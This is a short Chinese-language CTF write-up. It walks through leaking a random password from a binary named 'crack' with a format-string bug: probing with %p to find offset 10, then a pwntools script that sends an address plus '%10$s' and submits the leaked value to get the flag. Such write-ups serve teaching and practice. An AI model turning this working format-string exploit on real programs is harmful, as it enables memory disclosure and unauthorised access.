先checksec一波,canary开了,不能愉快地栈溢出了
image.png这道题的意思很清楚,password是一个随机数,只要在第二次输入的时候相等那就可以cat 到 flag ,那么我们需要在第二次输入之前就知道password的值,这里我自然而然地想到了用gdb下断查看 password 的值,这种做法虽然在本地可以但是一但远程了就没鸟用;这就用到了格式化字符串
首先,我们要泄漏出password的值 ,要先得到格式化字符串的地址在哪,输入一串东西"“AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p........
%p泄漏出了printf栈里面的东西,找到AAAA的位置,在第十个,也就是说,格式化字符串的栈的第十个位置,接下来我们就可以构造 [地址] + %10$s
将password 泄漏出来,然后接下来就简单了。
exp:
#-*- coding:utf-8 -*-
from pwn import *
p = process('./crack')
#输入"AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p...."可以爆出格化字符串的偏移为10
password = 0x804A048
# print p32(password)
# pause()
payload = p32(password) + "#" + "%10$s" + "#" #输入两个#用作标记
p.recvuntil("What your name ? ")
p.send(payload)
p.recvuntil("#") #当接收到第一个#时开始返回password的内容了,接收
r = p.recvuntil("#") #接收到 # 结束
# print r
print len(r)
pause()
print u32(r[:4]) #因为第二个#会被接收,所以要去掉
a = u32(r[:4])
# print str(a)
# pause()
p.recvuntil("Your password :")
p.send(str(a))
p.interactive()
网友评论